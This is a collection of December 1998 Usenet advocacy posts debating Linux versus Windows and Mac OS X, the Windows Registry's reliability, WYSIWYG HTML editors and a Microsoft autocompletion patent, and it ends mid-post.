> >> Oh please. Everyone knows of at least Apple and the Mac.
>
> >I meant better alternatives. Most people are familiar with PC hardware
> >and like it. Most people just use Windows. MacOS won't work on their
> >computers. Of course, even if they knew Linux was there they wouldn't
> >switch to it unless they saw big banners in the stores and commercials.
>
> More importantly, they would need to see it in action on other people's
> machines, doing the kinds of things that they want to do with a
> computer. Is that possible with today's Linux? How many of the most
> popular games are available for Linux? How many Tax programs? How many
> Encyclopedias? How many etceteras?
>
> You can't blame people for not stepping onto unknown ground; it's
> usually not a wise thing to do for most people. Most people want a
> computer that works like an appliance; not something that they have to
> administrate.
This is quite true. Until there is software, most people won't switch,
but a few might dual-boot.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
Message-ID: <36788E73.CB8F4654@yahoo.net>
From: Black iMage <black_i_mage@yahoo.net>
Organization: Invisible Inc.
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
<3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
<3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com>
<3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
<F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net>
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Date: Wed, 16 Dec 1998 22:54:11 -0600
NNTP-Posting-Date: Wed, 16 Dec 1998 21:54:32 CDT
Win 95 for the Mac!!
Just kidding! :-)
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 16 Dec 1998 23:16:50 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <75a0ji$41v$1@crib.corepower.com>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <distler-1612982032450001@dial-104-21.ots.utexas.edu>
NNTP-Posting-Date: 17 Dec 1998 04:17:07 GMT
In article <distler-1612982032450001@dial-104-21.ots.utexas.edu>, distler@golem.ph.utexas.edu (Jacques Distler) wrote:
> In article <759ig9$3gq$1@crib.corepower.com>, nurban@vt.edu wrote:
> >Still less convenient then being presented directly with a list of all
> >applications which can operate on that file, without having to search
> >for anything.
> That is a very nice feature, I agree.
> Trouble is, the only thing the Inspector allows you to change is the
> default app to open ALL files of this type.
No. It also lets you open a file with a non-default app _without_
changing the default.
> So using the Inspector suffers from the criticism you make below.
Incorrect.
> >I want to open the document in a particular app for that one time only.
> >I don't want to have to change the default app, open it, and then change
> >it back.
> Exactly why using the Inspector is the probably the wrong tool.
Not at all. You simply double-click on the app icon to open it in
that app. To change the default, you single-click on the app icon and
then click on the "Set Default" button.
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 17 Dec 1998 01:14:09 GMT
Organization: University of Maryland, College Park
Message-ID: <759lt1$g7b$1@hecate.umd.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net> <F42G8I.AMz@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <757356$l89$3@hecate.umd.edu> David T. Wang wrote:
: > IMO, even if my criteria are accepted, we still cannot judge MacOS X
: > as a "good unix" or not, since all we have to look at is NeXTStep,
: > and Apple/SJ may have added/removed features that would make certain
: > points completely moot. I think that all we can do is wait and see.
: OS-X appears to be a fairly direct port of the current NetBSD into an
: emulator package for Mach. Does this answer the question?
: Maury
Actually no. The reason being that it still does not tell me, feature
by feature whether it will be present in OS X or not. I'm sure you have
access to a Beta of some sort, so if you like to base a report on that,
and make a feature by feature comparison, that would answer the
question. Saying that OS X will be a port of NetBSD personality on
top of Mach won't do it for me.
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Kyoto, Japan.
Message-ID: <36789560.910B6785@yahoo.net>
From: Black iMage <black_i_mage@yahoo.net>
Organization: Invisible Inc.
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677e803.1429388@news.pdq.net>
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Date: Wed, 16 Dec 1998 23:23:44 -0600
NNTP-Posting-Date: Wed, 16 Dec 1998 22:24:04 CDT
David Corn wrote:
> Simply use Win98's Backup program to back up your registry. Back up
> any old file, and in the file/options/advanced menu, tell it to also
> back up the registry. It takes about 1MB of compressed space, and is
> easy insurence.
>
It doesn't take 1MB (compressed) to back up Linux config files.
Message-ID: <36789068.69AE8DF@yahoo.net>
From: Black iMage <black_i_mage@yahoo.net>
Organization: Invisible Inc.
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net> <slrn77deao.jp4.jedi@dementia.mishnet>
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Date: Wed, 16 Dec 1998 23:02:32 -0600
NNTP-Posting-Date: Wed, 16 Dec 1998 22:02:52 CDT
jedi@dementia.mishnet wrote:
> On Tue, 15 Dec 1998 18:44:58 GMT, Maury Markowitz wrote:
> > I've asked it before and I'll ask it again, will the Linux community
> >accept a commercial non-open system as the basis for the application
> >support?
>
> NO.
>
> Either the source needs to be free or the specification needs to be.
> [deletia]
> --
>
And we want free lunches as well as free source!
From: user@this.here.com (inphlux)
Newsgroups: comp.sys.next.advocacy
Subject: Re: RFI ranting...again!
Message-ID: <user-1612982352380001@dub234042.columbus.rr.com>
References: <3677D64D.3EE2DFFE@msi.se> <F42J76.C4J@T-FCN.Net>
Organization: lotek - www.lotek.org
Date: Wed, 16 Dec 1998 23:52:38 -0500
NNTP-Posting-Date: Wed, 16 Dec 1998 23:55:43 EDT
Look, we all know that Robert Morgan is clinically insane. reposting his
articles here do nothing more than to further propogate his bullshit.
please refrain from it in the future, as the signal/noise ratio is already
unbearable. If you would notice, he wrote an article exactly 1 month ago
claiming the same thing, that the 'grand convergence' and the 'mother of
all apple recon' reports were delayed for some irrational excuse and that
they would be arriving shortly. methinks hes waiting for apple to announce
something so he can go 'i told you so' again...
From: cbbrowne@news.brownes.org (Christopher B. Browne)
Newsgroups: comp.os.linux.development.system,comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: 17 Dec 1998 05:59:31 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <slrn77h72k.l7.cbbrowne@godel.brownes.org>
References: <36717987.21076075@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <758bsk$bic$1@nnrp1.dejanews.com> <75906j$mpl$1@inconnu.isu.edu>
NNTP-Posting-Date: 17 Dec 1998 05:59:31 GMT
On 16 Dec 1998 12:03:47 -0700, Craig Kelley <ink@inconnu.isu.edu> posted:
>In article <758bsk$bic$1@nnrp1.dejanews.com>,
> <westprog@my-dejanews.com> wrote:
>->The use of a database-type format, rather then a text file, makes corruption
>->of the registry vastly less likely. If a situation arose where the registry
>->was seriously corrupted (rather than simply having incorrect data entered)
>->the likely cause would be sufficient to hose the disk under any
>->circumstances.
>
>That is all pointless if the information contained in the registry is
>world-writtable and screwed up by various incartations of
>InstallShield and other such nonsense. Take a look at the "Anti-Linux
>FUD" thread in these newsgroups to see how this has been hashed out
>there.
Of all the claims possible, the notion that "using a database-type format"
reduces the risk of corruption is *the* most preposterous claim of all.
Nonsense. Insanity. Clear case of having a vague knowledge that "databases
are supposed to be reliable" without actually understanding anything about
how this is accomplished.
Consider: Oracle, Informix, Software AG, Sybase, *ALL* recommend that
databases, for maximum robustness, be placed on raw partitions, to be
managed by the RDBMS. The *big* IBM DB/2 databases have things sit atop MVS
clusters and spindles, which is an even more directly "raw" format.
They want to have nothing to do with any management of data for them,
whether by a UNIX FS or by an NT FS.
In stark contrast to the methodologies used by companies that ought to have
*some* clue about how to design databases, the Windows Registry resides atop
a filesystem. This means that the robustness of the registry depends on
additional levels of pointer indirection *that are not under the control of
the Registry.*
The unfortunate result is that media errors or other "low level" corruption
of Registry-atop-NTFS is not only going to lose you data, it will blow away
indices, thereby *losing* data that may still be present, but will not be
locatable.
It's quite evident that Microsoft has neither experience at designing
implementing robust filesystems (they basically took code from BSD to build
NTFS) nor databases (they instead bought rights to Sybase SQL Server).
The UNIX approach of having a dispersed set of configuration files is quite
different from any of this (although parallels can be drawn... perhaps
later...).
By having the lookup mechanisms *be* directory hierarchies that come as part
of the filesystem support, this means that if a directory block gets "nuked"
by a hardware fault, you still have nodes out there on disk that should be
*automatically* recognizable as files that may be recovered into /lost+found
by fsck. And if a journalling filesystem is available, one might even do
better than that.
Note that since the configuration files are distributed across a number of
directories, this directly limits the extent to which any of them may be
injured by hardware faults.
It is quite instructive to ignore either the UNIX or NT approaches, and
regard what is done on *REALLY* reliable systems, namely the "big iron"
mainframes.
In *that* environment, they *certainly* don't have a "registry" as Windows
regards it. In contrast, on MVS/TSO, they take the "filesystem" approach a
step further from what you have on UNIX. Each *file* has to be allocated in
a manner that may be regarded either as similar to:
a) Allocating a database table as one would do with Oracle/DB2, with
"initial blocks," defining both block sizes and extent policy.
If UNIX splits configuration into a "bunch of files," whilst Windows
collects all the data into a *single* file, the mainframe approach is that
*each file is a database.*
b) Another view is that each MVS file is, *all by itself,* akin to a
filesystem on UNIX. Consider that:
- You have to allocate files on MVS (as one does with filesystems on UNIX)
- You have to declare file "format/blocking" information (which is not
unlike filesystem allocation on UNIX; people don't *often* mess with
UFS/ext2 defaults, but they are tunable)
- You have to declare space information for each file, limiting the file's
growth. (UNIX does this more precisely, as you *typically* allocate the
whole FS space at once.)
Note that a great deal of modern research on filesystems increasingly is
blurring the differences between databases and filesystems. The approaches
developed for managing robust RDBMSes are being applied to filesystems, thus
getting us journalling, logging, and even logical volume management may be
regarded as a DB notion.
Doubtless the most interesting thing in the Linux world these days in this
regard is the Reiserfs effort; it is at some levels looking at logging, but
more importantly building a system to make lower level indexing *really
cheap.*
One would build a database on a Reiserfs "substrate" by making a directory
for each "table," and a file for each "key," primary advantages being
twofold:
- By building directories based on B-trees (rather than hash tables and/or
linear lists), file lookups stay fast even if there are *many, many* files
in a directory.
Thus, you don't need to use a library to build an index; you just depend on
an efficient filesystem.
- The other issue is that one must be fairly clever to keep the space cost
of creating a file low. On the DOS FAT FS, with modern large drives, it is
not uncommon for the minimum size of a file to be 4K or more. That is
exceedingly wasteful if you want to consider creating a file for each
record.
In effect, Reiserfs allows us to create a little filesystem (via creating a
directory) any time we want to index something.
- This buys us that once the file is updated, that is the "commit." We get
any guarantees of robustness that the filesystem provides. Even on
something as "non-reliable" as ext2fs, that's pretty good.
- If journalling/logging is available, robustness should be really quite
impressive.
- This buys us decent speed for many purposes. ("Good enough is best!")
- This buys us the ability to deploy text-oriented tools to manipulate both
keys and data, thus getting rid of the need to use a proprietary API or
proprietary tools to access data.
This is quite different from the MVS approach, and light years away from
what NT does.
[A whole bunch of us probably should each send Hans Reiser $20 for Christmas
to allow he and his coworkers to not need to "wage slave" themselves on
other projects to keep food on the table between stints working on
Reiserfs...]
--
Those who do not understand Unix are condemned to reinvent it, poorly.
-- Henry Spencer <http://www.hex.net/~cbbrowne/fssp.html>
cbbrowne@hex.net - "What have you contributed to Linux today?..."
From: cbbrowne@news.brownes.org (Christopher B. Browne)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 05:59:27 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <slrn77h0n0.hr.cbbrowne@godel.brownes.org>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <36742159.EA45364E@nstar.net> <7528dr$rfe$1@hecate.umd.edu> <3674BBCA.7BB77907@nstar.net> <36752AC8.6CD4066C@tone.ca> <7571c5$os3$1@blue.hex.net> <slrn77g48f.rpl.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NNTP-Posting-Date: 17 Dec 1998 05:59:27 GMT
On 16 Dec 1998 19:59:12 GMT, Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com>
posted:
>On 16 Dec 1998 01:11:33 GMT, Christopher Browne <cbbrowne@news.hex.net> wrote:
>:And there is controversy over whether it is appropriate to try to "dumb
>:down" the need for understanding. That is *certainly* true if we want
>:to build a system that Grandma, who doesn't want to become a UNIX system
>:administrator, can use. There is also a need for a population of
>:"cognoscenti." Linux has, thus far, largely attracted people of the
>:latter variety. It will take some substantial effort to build a
>:"Grandma-friendly" system.
>
>What do you do when building Grandma-friendly conflicts with being a
>"good Unix" for essential reasons?
If Linux "as UNIX" is useful as such, it'll take *very* strong arguments to
break that.
That would likely be the point at which a development fork occurs.
Of course, this doesn't mandate there being *any* effect on the kernel, for
instance. Grandma isn't going to be working directly with the Linux kernel
any more than she'd work directly with the MacOS-X Mach-based kernel or the
NT kernel or the MS-DOS layer under W95.
There is still ample room to build some "Grandma-friendly" abstractions atop
Linux, so we're certainly not at that point yet.
--
Those who do not understand Unix are condemned to reinvent it, poorly.
-- Henry Spencer <http://www.hex.net/~cbbrowne/lsf.html>
cbbrowne@hex.net - "What have you contributed to Linux today?..."
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Thu, 17 Dec 1998 06:03:32 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36789c5e.1051001@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3676FADF.FA3D9169@klassy.com> <36780d11.1205994@news2.asan.com> <3678399E.4D74AEFC@digiscape.com>
On Wed, 16 Dec 1998 22:52:14 +0000, in comp.os.ms-windows.advocacy
Chris Welch <chaotic42@digiscape.com> wrote:
>> You simply don't understand. Working from your example; the people
>> that need more than what FrontPage Express can do for them will buy
>> your HTML editor if it has the features they need. The people that
>> don't need more, don't really need your editor because Frontpage meets
>> their needs.
>
>They could also learn HTML 4 and CSS and the like. That gives you the
>most power. Damed WYSIWYG HTML editors. Now, to the example, what if his
>editor is faster and better. Sure FP98 will work, but you always want
>the best. I could have stuck with Windows. It worked (sometimes). It was
>there and I knew how to use it. I wanted something better though.
>Windows did most of what I wanted, but Linux did it better and quicker.
>Samething with FP98. It works, but his works better.
That is a typical techie response. People don't want to learn HTML.
There is no tagging in MS Word or Lotus WordPro yet both allow you to
do much more powerful document design than HTML (I don't know if
WordPerfect still has their "reveal codes" function.) You think
WYSIWYG are bad, I think they're the only way to do it. I left
tagging when I moved away from WordPerfect 5.1 and never looked back.
As for faster and better, faster doesn't matter much on current
low-end machine because they're fast enough to perform most operations
in a second or two. As for better, that is very subjective. You
think tag editing is better, I think WYSIWYG is better. Each person
has their own needs. That's the part that are simply discounting.
It's rediculous to suggest that someone should learn HTML just to
create a web page to put in the web space they got from their ISP.
They're not going to be creating cgi script; they just want to put up
some info about themselves or something like that.
Jeez, I'd hate to have to work in an office where you are part of the
IT department.
From: Pascal Haakmat <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 17 Dec 1998 07:05:28 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <36789F1F.A7EEF2D5@cable.a2000.nl>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <36742159.EA45364E@nstar.net> <7528dr$rfe$1@hecate.umd.edu> <3674BBCA.7BB77907@nstar.net> <36752AC8.6CD4066C@tone.ca> <7571c5$os3$1@blue.hex.net> <slrn77g48f.rpl.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <slrn77ga1t.upd.jedi@dementia.mishnet>
Mime-Version: 1.0
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jedi@dementia.mishnet wrote:
> considering that there are oppossing needs
> to deal with (easy vs. reliable).
Easy and reliable, or easy and dependable, or easy and quick are not
conflicting goals. In fact it could be argued that anything that is easy
would have the properties of reliability, dependability and speed.
Pascal.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: 17 Dec 1998 06:09:58 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <75a77m$4lv$5@blue.hex.net>
References: <36717987.21076075@news2.asan.com> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <petrichF410LM.B7t@netcom.com> <368526cf.1397611109@news.isomedia.com>
NNTP-Posting-Date: 17 Dec 1998 06:09:58 GMT
On Wed, 16 Dec 1998 03:32:53 GMT, Sang K. Choe
<sang@isomedia.com.remove.this.com> wrote:
>On Tue, 15 Dec 1998 21:48:58 GMT, petrich@netcom.com (Loren Petrich)
>wrote:
>> [on how to make the Windows Registry usable -- impose exclusive access]
>>
>> And not only that -- use database techniques to make it
>>fail-safe. Arrange so that if some change to it is partially do
>
>If you mean transaction-like submit/commit/rollback, than it already
>does.
Does that work for an arbitrarily large set of keys in a single
transaction?
e.g.
txn = start_transaction();
/* Submit some particular values */
submit(txn, key1, value1);
submit(txn, key2, value2);
submit(txn, key3, value3);
submit(txn, key4, value4);
submit(txn, key5, value5);
/* And then submit updates for 2500 values in an array */
for (i=0; i < 2500; i++) {
submit(txn, key[i], value[i]);
}
if (oops)
rollback(txn); /* Get rid of all 2505 values */
else
commit(txn); /* Now the 2500 values are in place */
The claim of "doing transactions" is pretty useless if the best you get
is the ability to stretch out the "commit" of a single update over a
longer period of time.
--
"The primary difference between computer salesmen and used car
salesmen is that used car salesmen know when they're lying to you."
cbbrowne@ntlug.org- <http://www.ntlug.org/~cbbrowne/lsf.html>
From: gilley <gilley@netunlimited.net>
Newsgroups: comp.sys.next.advocacy
Subject: Next on Intel laptop
Date: Wed, 16 Dec 1998 23:31:25 -0500
Organization: NetUnlimited, Inc.
Message-ID: <3678891D.E742A371@netunlimited.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Would it be possible to run NextOS on a IBM think pad?
(365XD, trident cyber Video chip, CD rom)
Sean
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Date: 17 Dec 1998 06:10:06 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <75a77u$4lv$10@blue.hex.net>
References: <36778d0e.0@news.depaul.edu>
NNTP-Posting-Date: 17 Dec 1998 06:10:06 GMT
On 16 Dec 98 10:35:58 GMT, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>Filed June 5 1996
>Issued Dec 1, 1998
>
>US5845300: Method and apparatus for suggesting completions for a
>partially entered data item based on previously-entered,
>associated data items
Would the Tenex shell represent prior art?
(As well as Bash, zsh, tcsh, and <a
href="http://www.geocities.com/~earnoth/KornBeatMS.htm"> Korn Shell
</a>???)
--
"The primary difference between computer salesmen and used car
salesmen is that used car salesmen know when they're lying to you."
cbbrowne@hex.net- <http://www.hex.net/~cbbrowne/lsf.html>
From: Pascal Haakmat <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 17 Dec 1998 07:16:27 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <3678A1B3.1A52B4AE@cable.a2000.nl>
References: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <slrn770lik.3ps.jedi@dementia.mishnet> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <F42Gq2.Avz@T-FCN.Net> <3677F3D4.63B5E739@ericsson.com> <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net> <36781072.3EF67AB8@ericsson.com> <1dk4ysm.1hcdk185xn1w3N@roxboro0-052.dyn.interpath.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Moreno wrote:
> In the move from OS to MacOSX, remotability being "not built in" isn't a
> default scenario.
The point is, NXHosting was removed from the Next acquired OS. NXHosting
allows a degree of remotability, although it's not X. This means
"remotability built in" is the default scenario, until politics and
supposedly licensing issues with DPS changed this. I believe MJP is
arguing that no matter what the reason that remotability is not included
in Mac OS X, Apple should work getting it in (he appears to believe X is
a solution).
Pascal.
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Thu, 17 Dec 1998 06:11:08 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3678A07C.EA723B86@digiscape.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3676FADF.FA3D9169@klassy.com> <36780d11.1205994@news2.asan.com> <3678399E.4D74AEFC@digiscape.com> <36789c5e.1051001@news2.asan.com>
Mime-Version: 1.0
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Willy wrote:
>
> On Wed, 16 Dec 1998 22:52:14 +0000, in comp.os.ms-windows.advocacy
> Chris Welch <chaotic42@digiscape.com> wrote:
>
> >> You simply don't understand. Working from your example; the people
> >> that need more than what FrontPage Express can do for them will buy
> >> your HTML editor if it has the features they need. The people that
> >> don't need more, don't really need your editor because Frontpage meets
> >> their needs.
> >
> >They could also learn HTML 4 and CSS and the like. That gives you the
> >most power. Damed WYSIWYG HTML editors. Now, to the example, what if his
> >editor is faster and better. Sure FP98 will work, but you always want
> >the best. I could have stuck with Windows. It worked (sometimes). It was
> >there and I knew how to use it. I wanted something better though.
> >Windows did most of what I wanted, but Linux did it better and quicker.
> >Samething with FP98. It works, but his works better.
>
> That is a typical techie response. People don't want to learn HTML.
> There is no tagging in MS Word or Lotus WordPro yet both allow you to
> do much more powerful document design than HTML (I don't know if
> WordPerfect still has their "reveal codes" function.) You think
> WYSIWYG are bad, I think they're the only way to do it. I left
> tagging when I moved away from WordPerfect 5.1 and never looked back.
>
> As for faster and better, faster doesn't matter much on current
> low-end machine because they're fast enough to perform most operations
> in a second or two. As for better, that is very subjective. You
> think tag editing is better, I think WYSIWYG is better. Each person
> has their own needs. That's the part that are simply discounting.
> It's rediculous to suggest that someone should learn HTML just to
> create a web page to put in the web space they got from their ISP.
> They're not going to be creating cgi script; they just want to put up
> some info about themselves or something like that.
>
> Jeez, I'd hate to have to work in an office where you are part of the
> IT department.
You'd hate to work in an office with me anyway, Willy. I don't think
we'd agree on much. Besides, you'd probably feel bad having a 16 year
old being a peer or a superior in the work place.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Date: 16 Dec 1998 12:35:09 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <7589dt$arj$1@sun27.hrz.tu-darmstadt.de>
References: <36778d0e.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>Filed June 5 1996
>Issued Dec 1, 1998
>
>US5845300: Method and apparatus for suggesting completions for a
>partially entered data item based on previously-entered,
>associated data items
You Americans are weird, I really must say. I suppose somebody
could still go and file a patent for something simple that has
been in use since decades. Such as an 'apparatus for entering
letters into a computer system by manually depressing an array
of contacts'. :-)
Regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Thu, 17 Dec 1998 06:31:34 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36789eff.1723588@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677fa11.14689402@news2.asan.com> <36780C85.A7C6D522@digiscape.com>
On Wed, 16 Dec 1998 19:39:49 +0000, in comp.os.ms-windows.advocacy
Chris Welch <chaotic42@digiscape.com> wrote:
>Willy wrote:
>>
>> On Wed, 16 Dec 1998 15:19:48 +0000, in comp.os.ms-windows.advocacy
>> Chris Welch <chaotic42@digiscape.com> wrote:
>>
>> >Please, send me a copy of your CD.
>>
>> Well, I can't do that, but it's the OEM OSR2 CD.
>
>Well, I have that one so there are three posibilities:
>
>1. You are lying (I doubt that, though)
>2. I do more volatile things that could mess up the registry
>3. For some reason Windows doesn't like my hardware
I'll tell you what happened. I have two IDE hard drives; a Win95
drive for a few games that I like, and my NT drive where I do my work.
I switch the drives when I want to switch systems because I simply
don't want my valuable data on the computer when I'm playing games
I've downloaded.
Anyway, I let the computer figure out what type of hard drive is in
the machine. For some reason my machine decided to start identifying
the Win95 drive as a LRG instead of CHS. I didn't notice this. As
(bad) luck would have it, first thing I did was to try some tricks in
the registry. Apparently, reading from the drive was fine but writing
